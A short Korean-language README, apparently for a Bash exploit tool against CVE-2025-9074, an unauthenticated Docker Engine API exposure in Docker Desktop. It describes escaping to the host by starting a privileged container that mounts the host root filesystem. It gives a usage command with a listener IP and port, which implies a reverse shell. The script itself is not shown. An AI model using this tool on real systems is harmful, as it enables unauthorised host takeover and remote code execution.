Docker API 인증되지 않은 RCE (CVE-2025-9074)

Docker Desktop의 중요한 CVE-2025-9074 취약점으로 인해 로컬에서 실행 중인 Linux 컨테이너가 기본 서브넷(192.168.65.7:2375)을 통해 Docker Engine API에 연결할 수 있습니다. 이 문제는 Enhanced Container Isolation (ECI) 또는 TCP 노출 설정과 관계없이 지속됩니다. CVE-2025-9074에 대한 개념 증명 익스플로잇 코드가 공개적으로 이용 가능합니다. 이 취약점은 호스트 시스템의 사용자 파일에 대한 무단 액세스를 허용할 수 있습니다. 따라서 위험 수준은 높은 위험(High Risk)으로 평가됩니다.

노출된 Docker API(일반적으로 포트 2375)를 인증 없이 악용하는 독립형 Bash 스크립트입니다. 이 도구는 볼륨 마운트를 통한 컨테이너 이스케이프를 자동화하여 원격 코드 실행을 가능하게 합니다.

특징

• 종속성 없음: curl 및 grep과 같은 표준 유틸리티를 사용하여 전적으로 Bash로 구현되었습니다. 외부 바이너리나 타사 도구가 필요하지 않습니다.
• 인증되지 않은 악용: 인증 없이 Docker Engine API와 직접 상호작용합니다.
• 자동화된 컨테이너 생성: 권한 있는 컨테이너를 자동으로 생성하고 시작합니다.
• 호스트 루트 액세스: 호스트 루트 파일시스템을 마운트하여 컨테이너 이스케이프를 달성합니다.
• 이식성: 제한된 도구만 있는 최소 컨테이너 환경에서 작동합니다.

사용법

chmod +x exploit.sh
./exploit.sh [TARGET_IP] [PORT] -l <listener_ip> -p <listener_port>

개념 증명